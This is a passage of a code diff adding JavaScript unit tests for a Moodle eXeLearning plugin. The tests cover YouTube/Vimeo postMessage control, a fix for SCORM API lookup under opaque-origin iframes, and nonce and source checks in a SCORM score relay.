+
+// Unit tests for mod_exelearning's parent-side media host (DEC-0067). The host is vendored
+// from eXeLearning's exe-media-host.js but drives the promoted YouTube/Vimeo player by RAW
+// postMessage (no YouTube IFrame API / Vimeo SDK on the Moodle page). These tests cover the
+// new, provider-protocol-critical pieces: the command builders, the inbound-event parsers,
+// and the adapter wiring (event → cached time/duration → callbacks). The handshake / modal /
+// command relay are unchanged from upstream (proven by eXeLearning's own suite).
+import { vi } from 'vitest';
+import '../../js/exe_media_policy.js';
+import '../../js/exe_media_host.js';
+
+const host = window.exeMediaHost;
+
+describe('exe_media_host — raw command builders (no SDK)', () => {
+    it('ytCommand builds the documented YouTube postMessage commands', () => {
+        expect(host._ytCommand('play')).toEqual({ event: 'command', func: 'playVideo', args: [] });
+        expect(host._ytCommand('pause')).toEqual({ event: 'command', func: 'pauseVideo', args: [] });
+        expect(host._ytCommand('seek', 42.5)).toEqual({ event: 'command', func: 'seekTo', args: [42.5, true] });
+        expect(host._ytCommand('listen')).toEqual({ event: 'listening' });
+        expect(host._ytCommand('bogus')).toBeNull();
+        expect(host._ytCommand('seek')).toEqual({ event: 'command', func: 'seekTo', args: [0, true] }); // no value → 0
+    });
+
+    it('vimeoCommand builds the documented Vimeo postMessage commands', () => {
+        expect(host._vimeoCommand('play')).toEqual({ method: 'play' });
+        expect(host._vimeoCommand('pause')).toEqual({ method: 'pause' });
+        expect(host._vimeoCommand('seek', 12)).toEqual({ method: 'setCurrentTime', value: 12 });
+        expect(host._vimeoCommand('bogus')).toBeNull();
+    });
+});
+
+describe('exe_media_host — YouTube event parser (JSON strings)', () => {
+    it('parses onReady / infoDelivery / onStateChange / onError', () => {
+        expect(host._parseYtEvent(JSON.stringify({ event: 'onReady', id: 1, channel: 'widget' }))).toEqual({ kind: 'ready' });
+        expect(host._parseYtEvent(JSON.stringify({ event: 'infoDelivery', info: { currentTime: 12.3, duration: 100, playerState: 1 } })))
+            .toEqual({ kind: 'info', currentTime: 12.3, duration: 100, playerState: 1 });
+        expect(host._parseYtEvent(JSON.stringify({ event: 'onStateChange', info: 0 })))
+            .toEqual({ kind: 'state', playerState: 0 });
+        expect(host._parseYtEvent(JSON.stringify({ event: 'onError', info: 150 })))
+            .toEqual({ kind: 'error', code: '150' });
+    });
+
+    it('rejects non-JSON, unknown events and missing fields', () => {
+        expect(host._parseYtEvent('not json')).toBeNull();
+        expect(host._parseYtEvent(JSON.stringify({ event: 'somethingElse' }))).toBeNull();
+        expect(host._parseYtEvent(JSON.stringify({ noEvent: true }))).toBeNull();
+        expect(host._parseYtEvent(null)).toBeNull();
+    });
+});
+
+describe('exe_media_host — Vimeo event parser (JSON strings)', () => {
+    it('parses ready / timeupdate / play / pause / ended / finish / error', () => {
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'ready', player_id: 'p' }))).toEqual({ kind: 'ready' });
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'timeupdate', data: { seconds: 5, duration: 50, percent: 0.1 } })))
+            .toEqual({ kind: 'timeupdate', currentTime: 5, duration: 50 });
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'play' }))).toEqual({ kind: 'play' });
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'pause' }))).toEqual({ kind: 'pause' });
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'ended' }))).toEqual({ kind: 'ended' });
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'finish' }))).toEqual({ kind: 'ended' });
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'error' }))).toEqual({ kind: 'error', code: 'vimeo_error' });
+        expect(host._parseVimeoEvent('garbage')).toBeNull();
+    });
+});
+
+describe('exe_media_host — youtubeRawAdapter wiring (no SDK loaded)', () => {
+    let container;
+    beforeEach(() => {
+        document.body.innerHTML = '';
+        container = document.createElement('div');
+        document.body.appendChild(container);
+    });
+
+    it('creates a controllable youtube-nocookie iframe (enablejsapi=1 + origin, referrerpolicy)', () => {
+        host._youtubeAdapter(container, 'dQw4w9WgXcQ', {});
+        const frame = container.querySelector('iframe');
+        expect(frame).not.toBeNull();
+        const src = frame.getAttribute('src');
+        expect(src).toMatch(/^https:\/\/www\.youtube-nocookie\.com\/embed\/dQw4w9WgXcQ\?/);
+        expect(src).toContain('enablejsapi=1');
+        expect(src).toContain('origin=');
+        expect(frame.getAttribute('referrerpolicy')).toBe('strict-origin-when-cross-origin');
+        // No global YT/Vimeo SDK is referenced by the host (raw postMessage only).
+        expect(window.YT).toBeUndefined();
+        expect(window.Vimeo).toBeUndefined();
+    });
+
+    it('updates cached time/duration and signals play/ended from the player events', () => {
+        const cb = { onPlay: vi.fn(), onPause: vi.fn(), onEnded: vi.fn(), onReady: vi.fn() };
+        const adapter = host._youtubeAdapter(container, 'dQw4w9WgXcQ', cb);
+        const frame = container.querySelector('iframe');
+
+        window.dispatchEvent(new MessageEvent('message', {
+            source: frame.contentWindow,
+            data: JSON.stringify({ event: 'infoDelivery', info: { currentTime: 9.5, duration: 120, playerState: 1 } }),
+        }));
+        expect(adapter.getCurrentTime()).toBe(9.5);
+        expect(adapter.getDuration()).toBe(120);
+        expect(cb.onPlay).toHaveBeenCalled();
+
+        window.dispatchEvent(new MessageEvent('message', {
+            source: frame.contentWindow,
+            data: JSON.stringify({ event: 'onStateChange', info: 0 }),
+        }));
+        expect(cb.onEnded).toHaveBeenCalled();
+    });
+
+    it('ignores messages whose source is not its own player iframe', () => {
+        const cb = { onPlay: vi.fn() };
+        const adapter = host._youtubeAdapter(container, 'abc12345678', cb);
+        const other = document.createElement('iframe');
+        document.body.appendChild(other);
+        window.dispatchEvent(new MessageEvent('message', {
+            source: other.contentWindow,
+            data: JSON.stringify({ event: 'infoDelivery', info: { currentTime: 5, duration: 10, playerState: 1 } }),
+        }));
+        expect(cb.onPlay).not.toHaveBeenCalled();
+        expect(adapter.getCurrentTime()).toBe(0);
+    });
+
+    it('destroy() removes the iframe and stops listening', () => {
+        const cb = { onPlay: vi.fn() };
+        const adapter = host._youtubeAdapter(container, 'abc12345678', cb);
+        const frame = container.querySelector('iframe');
+        adapter.destroy();
+        expect(container.querySelector('iframe')).toBeNull();
+        window.dispatchEvent(new MessageEvent('message', {
+            source: frame.contentWindow,
+            data: JSON.stringify({ event: 'onStateChange', info: 1 }),
+        }));
+        expect(cb.onPlay).not.toHaveBeenCalled();
+    });
+});
+
+describe('exe_media_host — vimeoRawAdapter wiring (no SDK loaded)', () => {
+    let container;
+    beforeEach(() => {
+        document.body.innerHTML = '';
+        container = document.createElement('div');
+        document.body.appendChild(container);
+    });
+
+    it('creates a player.vimeo.com iframe (api=1 + player_id)', () => {
+        host._vimeoAdapter(container, '76979871', {});
+        const frame = container.querySelector('iframe');
+        expect(frame.getAttribute('src')).toMatch(/^https:\/\/player\.vimeo\.com\/video\/76979871\?/);
+        expect(frame.getAttribute('src')).toContain('api=1');
+    });
+
+    it('caches time/duration from timeupdate and fires play/ended', () => {
+        const cb = { onPlay: vi.fn(), onEnded: vi.fn() };
+        const adapter = host._vimeoAdapter(container, '76979871', cb);
+        const frame = container.querySelector('iframe');
+        window.dispatchEvent(new MessageEvent('message', {
+            source: frame.contentWindow,
+            data: JSON.stringify({ event: 'timeupdate', data: { seconds: 7.2, duration: 200, percent: 0.03 } }),
+        }));
+        expect(adapter.getCurrentTime()).toBe(7.2);
+        expect(adapter.getDuration()).toBe(200);
+        window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data: JSON.stringify({ event: 'play' }) }));
+        expect(cb.onPlay).toHaveBeenCalled();
+        window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data: JSON.stringify({ event: 'ended' }) }));
+        expect(cb.onEnded).toHaveBeenCalled();
+    });
+});
+
+describe('exe_media_host openMedia() — single active media (audit L-2)', () => {
+    const TYPE = 'exe-media';
+    const V = 1;
+
+    function makeWin() {
+        const handlers = [];
+        return {
+            addEventListener(t, cb) { if (t === 'message') handlers.push(cb); },
+            removeEventListener(t, cb) { const i = handlers.indexOf(cb); if (i >= 0) handlers.splice(i, 1); },
+            _emit(evt) { handlers.slice().forEach((h) => h(evt)); },
+        };
+    }
+    function makeIframe() {
+        return { contentWindow: { postMessage() {} } };
+    }
+    function makeFakeChannel() {
+        const port1 = { onmessage: null, start() {}, close() {} };
+        const port2 = { onmessage: null, start() {}, close() {} };
+        port1.postMessage = (m) => { if (port2.onmessage) port2.onmessage({ data: m }); };
+        port2.postMessage = (m) => { if (port1.onmessage) port1.onmessage({ data: m }); };
+        return { port1, port2 };
+    }
+
+    afterEach(() => {
+        document.querySelectorAll('dialog.exe-media-modal').forEach((d) => d.remove());
+        if (host._resetForTests) host._resetForTests();
+    });
+
+    it('on a second open, tears down the previous adapter and modal (no stacking/leak)', () => {
+        const win = makeWin();
+        const iframe = makeIframe();
+        const ch = makeFakeChannel();
+        const adapters = [];
+        const factory = () => {
+            const a = {
+                destroyed: false,
+                play() {}, pause() {}, seek() {},
+                getCurrentTime() { return 0; }, getDuration() { return 0; },
+                destroy() { this.destroyed = true; },
+            };
+            adapters.push(a);
+            return a;
+        };
+        host.attach(iframe, { win, genId: () => 'N1', channelFactory: () => ch, youtubeFactory: factory, document });
+        win._emit({ source: iframe.contentWindow, data: { type: TYPE, v: V, action: 'hello', helloId: 'H1' } });
+        const send = (cmd) => ch.port2.postMessage(Object.assign({ type: TYPE, v: V, exelearningBridge: 'N1' }, cmd));
+        send({ action: 'open', reqId: 1, provider: 'youtube', videoId: 'dQw4w9WgXcQ' });
+        send({ action: 'open', reqId: 2, provider: 'youtube', videoId: 'oHg5SJYRHA0' });
+        expect(adapters.length).toBe(2);
+        expect(adapters[0].destroyed).toBe(true);   // previous torn down
+        expect(adapters[1].destroyed).toBe(false);  // current is live
+        expect(document.querySelectorAll('dialog.exe-media-modal').length).toBe(1);
+    });
+});
diff --git a/tests/js/scorm_api_wrapper.test.js b/tests/js/scorm_api_wrapper.test.js
new file mode 100644
index 0000000..11bc552
--- /dev/null
+++ b/tests/js/scorm_api_wrapper.test.js
@@ -0,0 +1,166 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Regression coverage for the vendored pipwerks wrapper (assets/scorm/SCORM_API_wrapper.js).
+//
+// The wrapper is normally "out of scope" for these JS suites, but its API lookup is
+// grade-critical: it is what eXeLearning's content calls to record SCORM scores, and a
+// defect there silently lost EVERY score in the secure (opaque-origin) iframe mode
+// (DEC-0059/DEC-0061). The vendored get() had been altered to look only in window.parent
+// and skip the current window. In secure mode the SCORM API is provided LOCALLY by the
+// in-iframe bridge shim (js/scorm_bridge_shim.js) as window.API, and the Moodle parent is
+// a cross-origin/opaque frame whose property access throws SecurityError. So the altered
+// get() reached straight into the opaque parent, threw, init() never activated the
+// connection, and LMSSetValue/LMSCommit became no-ops -> no attempt rows were written.
+//
+// These tests lock in the corrected behaviour: check the current window first, fall back
+// to a same-origin ancestor (legacy mode), and never let an opaque ancestor abort lookup.
+//
+// The wrapper is a classic browser script (top-level `var pipwerks = {}`, no module
+// exports), so it is loaded via new Function() with a fully controllable `window`, letting
+// each test model a specific frame topology (local API, opaque parent, same-origin parent).
+
+import fs from 'node:fs';
+import path from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const here = path.dirname(fileURLToPath(import.meta.url));
+const wrapperSrc = fs.readFileSync(
+    path.join(here, '../../assets/scorm/SCORM_API_wrapper.js'),
+    'utf8'
+);
+
+/**
+ * Load a fresh pipwerks instance bound to the given fake window. find()/get() read the
+ * `window` free variable, which we supply as the factory argument, so the wrapper sees
+ * exactly the frame topology the test sets up. A fresh instance per call avoids shared
+ * state (pipwerks.SCORM.version, connection.isActive) leaking between tests.
+ *
+ * @param {Object} win The fake window (must carry a console for trace()).
+ * @returns {Object} The wrapper's pipwerks namespace.
+ */
+function loadPipwerks(win) {
+    win.console = win.console || globalThis.console;
+    const factory = new Function('window', 'document', wrapperSrc + '\n;return pipwerks;');
+    return factory(win, win.document || {});
+}
+
+/**
+ * A minimal SCORM 1.2 API surface. Records LMSInitialize/LMSSetValue/LMSCommit calls so a
+ * test can assert the save path was actually driven. LMSGetLastError returns "0" so
+ * pipwerks treats the session as healthy.
+ *
+ * @param {string} tag An identity marker so tests can assert WHICH API was returned.
+ * @returns {Object}
+ */
+function makeApi(tag) {
+    const calls = [];
+    return {
+        tag,
+        calls,
+        LMSInitialize: (v) => { calls.push(['LMSInitialize', v]); return 'true'; },
+        LMSFinish: (v) => { calls.push(['LMSFinish', v]); return 'true'; },
+        LMSGetValue: (k) => { calls.push(['LMSGetValue', k]); return ''; },
+        LMSSetValue: (k, v) => { calls.push(['LMSSetValue', k, v]); return 'true'; },
+        LMSCommit: (v) => { calls.push(['LMSCommit', v]); return 'true'; },
+        LMSGetLastError: () => '0',
+        LMSGetErrorString: () => '',
+        LMSGetDiagnostic: () => '',
+    };
+}
+
+/** A frame whose .API / .API_1484_11 access throws, mimicking an opaque cross-origin parent. */
+function makeOpaqueFrame() {
+    const frame = {};
+    const blow = () => { throw new Error('SecurityError: Blocked a frame with origin "null" from accessing a cross-origin frame.'); };
+    Object.defineProperty(frame, 'API', { get: blow });
+    Object.defineProperty(frame, 'API_1484_11', { get: blow });
+    return frame;
+}
+
+describe('vendored pipwerks API.get (secure-mode regression)', () => {
+    it('returns the LOCAL window.API, not the parent\'s (current window checked first)', () => {
+        // Secure mode: the bridge shim put window.API in THIS frame; the parent also has a
+        // (different) API. The old build returned the parent's; we must return the local one.
+        const localApi = makeApi('local');
+        const parent = { API: makeApi('parent') };
+        parent.parent = parent;                       // stops the upward walk at the parent
+        const win = { API: localApi, parent, document: {} };
+
+        const pipwerks = loadPipwerks(win);
+
+        expect(pipwerks.SCORM.API.get()).toBe(localApi);
+    });
+
+    it('does not throw when the parent frame is opaque/cross-origin, and finds the local API', () => {
+        // The exact failure mode: reaching into the opaque parent threw SecurityError.
+        const localApi = makeApi('local');
+        const win = { API: localApi, parent: makeOpaqueFrame(), document: {} };
+
+        const pipwerks = loadPipwerks(win);
+
+        let got;
+        expect(() => { got = pipwerks.SCORM.API.get(); }).not.toThrow();
+        expect(got).toBe(localApi);
+    });
+
+    it('returns null (never throws) when no API is reachable and the parent is opaque', () => {
+        const win = { parent: makeOpaqueFrame(), document: {} };   // no local API
+
+        const pipwerks = loadPipwerks(win);
+
+        let got = 'unset';
+        expect(() => { got = pipwerks.SCORM.API.get(); }).not.toThrow();
+        expect(got == null).toBe(true);
+    });
+
+    it('still walks up to a same-origin parent when there is no local API (legacy mode)', () => {
+        // Legacy same-origin mode: no local API, the Moodle parent hosts window.API.
+        const parentApi = makeApi('parent');
+        const parent = { API: parentApi };
+        parent.parent = parent;                       // stops the walk
+        const win = { parent, document: {} };
+
+        const pipwerks = loadPipwerks(win);
+
+        expect(pipwerks.SCORM.API.get()).toBe(parentApi);
+    });
+});
+
+describe('vendored pipwerks init (secure bridge end to end)', () => {
+    it('activates the connection through a LOCAL API even with an opaque parent', () => {
+        const localApi = makeApi('local');
+        const win = { API: localApi, parent: makeOpaqueFrame(), document: {} };
+
+        const pipwerks = loadPipwerks(win);
+        const ok = pipwerks.SCORM.init();             // init === connection.initialize
+
+        expect(ok).toBe(true);
+        expect(pipwerks.SCORM.connection.isActive).toBe(true);
+        expect(localApi.calls.some((c) => c[0] === 'LMSInitialize')).toBe(true);
+    });
+
+    it('set() reaches the local API once the connection is active (the score actually saves)', () => {
+        const localApi = makeApi('local');
+        const win = { API: localApi, parent: makeOpaqueFrame(), document: {} };
+
+        const pipwerks = loadPipwerks(win);
+        pipwerks.SCORM.init();
+        const saved = pipwerks.SCORM.set('cmi.core.score.raw', '100');
+
+        expect(saved).toBe(true);
+        expect(localApi.calls).toContainEqual(['LMSSetValue', 'cmi.core.score.raw', '100']);
+    });
+});
diff --git a/tests/js/scorm_bridge.test.js b/tests/js/scorm_bridge.test.js
new file mode 100644
index 0000000..bbf5715
--- /dev/null
+++ b/tests/js/scorm_bridge.test.js
@@ -0,0 +1,437 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Side-effect imports: each module exposes its API on a window.* global (and on
+// module.exports). scorm_tracker must load before the shim (the shim calls
+// window.exeScormTracker). globals (describe/it/expect/vi) come from vitest.config.mjs.
+import '../../js/scorm_tracker.js';
+import '../../js/scorm_bridge_shim.js';
+import '../../js/scorm_bridge_relay.js';
+
+const shim = window.exeScormBridgeShim;
+const relay = window.exeScormBridge;
+
+/**
+ * Build a fake iframe window for the shim: captures messages posted to the parent
+ * and the registered 'message' listener so a test can drive the handshake. Uses the
+ * real (happy-dom) document so the shared tracker's objectid resolution works.
+ */
+function makeFakeWin(overrides = {}) {
+    const postedToParent = [];
+    const listeners = {};
+    const win = {
+        exeScormTracker: window.exeScormTracker,
+        parent: { postMessage: (msg) => postedToParent.push(msg) },
+        origin: 'null',
+        document,
+        addEventListener: (type, fn) => { (listeners[type] = listeners[type] || []).push(fn); },
+        postedToParent,
+        listeners,
+        ...overrides,
+    };
+    return win;
+}
+
+/** Deliver a message to the shim's registered onMessage listener. */
+function deliver(win, event) {
+    (win.listeners.message || []).forEach((fn) => fn(event));
+}
+
+describe('shim createMemoryStorage', () => {
+    it('behaves like a string-coercing in-memory Storage', () => {
+        const s = shim.createMemoryStorage();
+        expect(s.getItem('missing')).toBeNull();
+        s.setItem('a', 1);
+        expect(s.getItem('a')).toBe('1');     // coerced to string
+        expect(s.length).toBe(1);
+        expect(s.key(0)).toBe('a');
+        s.removeItem('a');
+        expect(s.getItem('a')).toBeNull();
+        expect(s.length).toBe(0);
+        s.setItem('b', 'x');
+        s.clear();
+        expect(s.length).toBe(0);
+    });
+});
+
+describe('shim isSandboxedOpaque', () => {
+    it('is true when the origin serializes to "null"', () => {
+        expect(shim.isSandboxedOpaque({ origin: 'null' })).toBe(true);
+    });
+
+    it('is true when web storage access throws a SecurityError (opaque origin)', () => {
+        const win = {
+            origin: 'https://moodle.test',
+            get localStorage() { throw new DOMException('blocked', 'SecurityError'); },
+        };
+        expect(shim.isSandboxedOpaque(win)).toBe(true);
+    });
+
+    it('is FALSE when storage throws a non-SecurityError in a real same-origin iframe (legacy, not opaque)', () => {
+        // A QuotaExceededError (or a disabled-storage policy) must NOT be mistaken for an
+        // opaque origin, or the shim would wrongly activate in legacy mode and lose grades.
+        const quota = { origin: 'https://moodle.test', get localStorage() { throw new DOMException('full', 'QuotaExceededError'); } };
+        expect(shim.isSandboxedOpaque(quota)).toBe(false);
+        const generic = { origin: 'https://moodle.test', get localStorage() { throw new Error('nope'); } };
+        expect(shim.isSandboxedOpaque(generic)).toBe(false);
+    });
+
+    it('is false for a same-origin window with working storage', () => {
+        const win = { origin: 'https://moodle.test', localStorage: shim.createMemoryStorage() };
+        expect(shim.isSandboxedOpaque(win)).toBe(false);
+    });
+});
+
+describe('shim installStoragePolyfill', () => {
+    it('replaces storage with in-memory implementations', () => {
+        const win = {};
+        shim.installStoragePolyfill(win);
+        win.localStorage.setItem('k', 'v');
+        expect(win.localStorage.getItem('k')).toBe('v');
+        win.sessionStorage.setItem('s', '1');
+        expect(win.sessionStorage.getItem('s')).toBe('1');
+    });
+});
+
+describe('shim isParentMessage', () => {
+    it('accepts config/ack and rejects everything else', () => {
+        expect(shim.isParentMessage({ type: 'scorm', action: 'config' })).toBe(true);
+        expect(shim.isParentMessage({ type: 'scorm', action: 'ack' })).toBe(true);
+        expect(shim.isParentMessage({ type: 'scorm', action: 'track' })).toBe(false);
+        expect(shim.isParentMessage({ type: 'other', action: 'config' })).toBe(false);
+        expect(shim.isParentMessage(null)).toBe(false);
+    });
+});
+
+describe('shim activate (handshake + transport)', () => {
+    it('announces ready, then defines window.API', () => {
+        const win = makeFakeWin();
+        const handles = shim.activate(win);
+        expect(handles).not.toBeNull();
+        expect(win.API).toBe(handles.api);
+        expect(win.postedToParent[0]).toEqual({ exelearningBridge: null, type: 'scorm', action: 'ready' });
+    });
+
+    it('queues scores until config arrives, then flushes them stamped with the nonce', () => {
+        const win = makeFakeWin();
+        shim.activate(win);
+        // Score before the handshake completes: must be queued, not posted yet.
+        win.API.LMSSetValue('cmi.core.score.raw', '80');
+        win.API.LMSCommit();
+        expect(win.postedToParent.filter((m) => m.action === 'track')).toHaveLength(0);
+        // Parent replies with the nonce -> queued track message is flushed.
+        deliver(win, { source: win.parent, data: { type: 'scorm', action: 'config', nonce: 'N1' } });
+        const tracks = win.postedToParent.filter((m) => m.action === 'track');
+        expect(tracks).toHaveLength(1);
+        expect(tracks[0].exelearningBridge).toBe('N1');
+        expect(tracks[0].cmi['cmi.core.score.raw']).toBe('80');
+    });
+
+    it('posts scores immediately once ready', () => {
+        const win = makeFakeWin();
+        shim.activate(win);
+        deliver(win, { source: win.parent, data: { type: 'scorm', action: 'config', nonce: 'N2' } });
+        win.API.LMSSetValue('cmi.core.lesson_status', 'completed');
+        win.API.LMSCommit();
+        const tracks = win.postedToParent.filter((m) => m.action === 'track');
+        expect(tracks).toHaveLength(1);
+        expect(tracks[0].exelearningBridge).toBe('N2');
+        expect(tracks[0].cmi['cmi.core.lesson_status']).toBe('completed');
+    });
+
+    it('ignores messages whose source is not the parent window', () => {
+        const win = makeFakeWin();
+        shim.activate(win);
+        win.API.LMSSetValue('cmi.core.score.raw', '50');
+        win.API.LMSCommit();
+        // A config from a foreign window must not unblock the queue.
+        deliver(win, { source: { other: true }, data: { type: 'scorm', action: 'config', nonce: 'EVIL' } });
+        expect(win.postedToParent.filter((m) => m.action === 'track')).toHaveLength(0);
+    });
+});
+
+describe('shim boot', () => {
+    it('activates in an opaque sandbox', () => {
+        const win = makeFakeWin({ origin: 'null' });
+        const handles = shim.boot(win);
+        expect(handles).not.toBeNull();
+        expect(win.API).toBeDefined();
+        // Storage was polyfilled.
+        win.localStorage.setItem('k', 'v');
+        expect(win.localStorage.getItem('k')).toBe('v');
+    });
+
+    it('stays dormant (no window.API) outside an opaque sandbox', () => {
+        const win = makeFakeWin({ origin: 'https://moodle.test', localStorage: shim.createMemoryStorage(), API: undefined });
+        const handles = shim.boot(win);
+        expect(handles).toBeNull();
+        expect(win.API).toBeUndefined();
+    });
+});
+
+describe('relay pure validators', () => {
+    it('isTrackMessage requires the scorm/track shape with a cmi object', () => {
+        expect(relay.isTrackMessage({ type: 'scorm', action: 'track', cmi: {} })).toBe(true);
+        expect(relay.isTrackMessage({ type: 'scorm', action: 'track' })).toBe(false);
+        expect(relay.isTrackMessage({ type: 'scorm', action: 'ready' })).toBe(false);
+        expect(relay.isTrackMessage(null)).toBe(false);
+    });
+
+    it('isReadyMessage matches only the readiness announcement', () => {
+        expect(relay.isReadyMessage({ type: 'scorm', action: 'ready' })).toBe(true);
+        expect(relay.isReadyMessage({ type: 'scorm', action: 'track', cmi: {} })).toBe(false);
+    });
+
+    it('acceptTrack requires both a valid shape and the matching nonce', () => {
+        const msg = { type: 'scorm', action: 'track', cmi: {}, exelearningBridge: 'N' };
+        expect(relay.acceptTrack(msg, 'N')).toBe(true);
+        expect(relay.acceptTrack(msg, 'OTHER')).toBe(false);
+        expect(relay.acceptTrack({ type: 'scorm', action: 'track', cmi: {}, exelearningBridge: undefined }, 'N')).toBe(false);
+    });
+
+    it('acceptTrack never authenticates against a falsy expected nonce (no undefined===undefined)', () => {
+        // A relay constructed without a nonce must reject even a perfectly-shaped message
+        // that omits the field, rather than collapsing the nonce factor.
+        expect(relay.acceptTrack({ type: 'scorm', action: 'track', cmi: {} }, undefined)).toBe(false);
+        expect(relay.acceptTrack({ type: 'scorm', action: 'track', cmi: {}, exelearningBridge: undefined }, undefined)).toBe(false);
+        expect(relay.acceptTrack({ type: 'scorm', action: 'track', cmi: {}, exelearningBridge: '' }, '')).toBe(false);
+    });
+});
+
+describe('relay createRelay (message handling)', () => {
+    function setup() {
+        const cw = { postMessage: vi.fn() };
+        const iframe = { contentWindow: cw };
+        const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : null) };
+        const fetchCalls = [];
+        const fetchImpl = (url, opts) => { fetchCalls.push({ url, opts }); return { catch: () => {} }; };
+        const beaconCalls = [];
+        const sendBeacon = (url, blob) => { beaconCalls.push({ url, blob }); return true; };
+        const r = relay.createRelay(
+            { iframeid: 'exelearningobject', cmid: 42, trackurl: '/track.php?id=42', session: 'tok', nonce: 'N' },
+            { document: doc, window: { addEventListener: () => {} }, fetch: fetchImpl, sendBeacon }
+        );
+        return { r, cw, fetchCalls, beaconCalls };
+    }
+
+    it('replies to ready (from the iframe) with the config + nonce', () => {
+        const { r, cw } = setup();
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'ready' } });
+        expect(cw.postMessage).toHaveBeenCalledTimes(1);
+        expect(cw.postMessage.mock.calls[0][0]).toMatchObject({ type: 'scorm', action: 'config', nonce: 'N' });
+    });
+
+    it('forwards a valid track message to track.php with the trusted identity', () => {
+        const { r, cw, fetchCalls } = setup();
+        r.onMessage({
+            source: cw,
+            data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: { 'cmi.core.score.raw': '80' }, itemscores: { 'ide-a': { scorepct: 80 } } },
+        });
+        expect(fetchCalls).toHaveLength(1);
+        expect(fetchCalls[0].url).toBe('/track.php?id=42');
+        const body = JSON.parse(fetchCalls[0].opts.body);
+        expect(body).toEqual({ id: 42, session: 'tok', cmi: { 'cmi.core.score.raw': '80' }, itemscores: { 'ide-a': { scorepct: 80 } } });
+    });
+
+    it('ignores a track message from a window other than the iframe', () => {
+        const { r, fetchCalls } = setup();
+        r.onMessage({ source: { foreign: true }, data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: {} } });
+        expect(fetchCalls).toHaveLength(0);
+    });
+
+    it('ignores a message when the iframe has no contentWindow (no null===null match)', () => {
+        const fetchCalls = [];
+        const iframe = { contentWindow: null };   // present element, not navigable.
+        const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : null) };
+        const r = relay.createRelay(
+            { iframeid: 'exelearningobject', cmid: 42, trackurl: '/track.php?id=42', session: 'tok', nonce: 'N' },
+            { document: doc, window: { addEventListener: () => {} }, fetch: (url, opts) => { fetchCalls.push({ url, opts }); return { catch: () => {} }; } }
+        );
+        // event.source === null would equal a null contentWindow without the guard.
+        r.onMessage({ source: null, data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: {} } });
+        expect(fetchCalls).toHaveLength(0);
+    });
+
+    it('ignores a track message with the wrong nonce or a bad shape', () => {
+        const { r, cw, fetchCalls } = setup();
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'track', exelearningBridge: 'WRONG', cmi: {} } });
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'track', exelearningBridge: 'N' } }); // no cmi
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'evil', exelearningBridge: 'N', cmi: {} } });
+        expect(fetchCalls).toHaveLength(0);
+    });
+
+    it('flushBeacon sends the last forwarded payload on unload', () => {
+        const { r, cw, beaconCalls } = setup();
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: { 'cmi.core.score.raw': '90' }, itemscores: {} } });
+        r.flushBeacon();
+        expect(beaconCalls).toHaveLength(1);
+        expect(beaconCalls[0].url).toBe('/track.php?id=42');
+    });
+
+    it('xAPI-primary (disableTracking): a valid track message is accepted but POSTs nothing, while ready still handshakes', () => {
+        const cw = { postMessage: vi.fn() };
+        const iframe = { contentWindow: cw };
+        const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : null) };
+        const fetchCalls = [];
+        const beaconCalls = [];
+        const r = relay.createRelay(
+            { iframeid: 'exelearningobject', cmid: 42, trackurl: '/track.php?id=42', session: 'tok', nonce: 'N', disableTracking: true },
+            {
+                document: doc,
+                window: { addEventListener: () => {} },
+                fetch: (url, opts) => { fetchCalls.push({ url, opts }); return { catch: () => {} }; },
+                sendBeacon: (url, blob) => { beaconCalls.push({ url, blob }); return true; },
+            }
+        );
+        // A perfectly valid, authenticated SCORM score is dropped: the package is graded via xAPI.
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: { 'cmi.core.score.raw': '100' }, itemscores: {} } });
+        expect(fetchCalls).toHaveLength(0);
+        // The handshake still runs, so window.API exists and the iDevices can emit xAPI.
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'ready' } });
+        expect(cw.postMessage).toHaveBeenCalledTimes(1);
+        // And the unload beacon has nothing to flush (no score was ever buffered).
+        r.flushBeacon();
+        expect(beaconCalls).toHaveLength(0);
+    });
+});
+
+describe('relay watchdog (no silent legacy fallback)', () => {
+    function setupWatchdog() {
+        const cw = { postMessage: () => {} };
+        const iframe = { contentWindow: cw, style: { display: '' } };
+        const blocked = { style: { display: 'none' } };
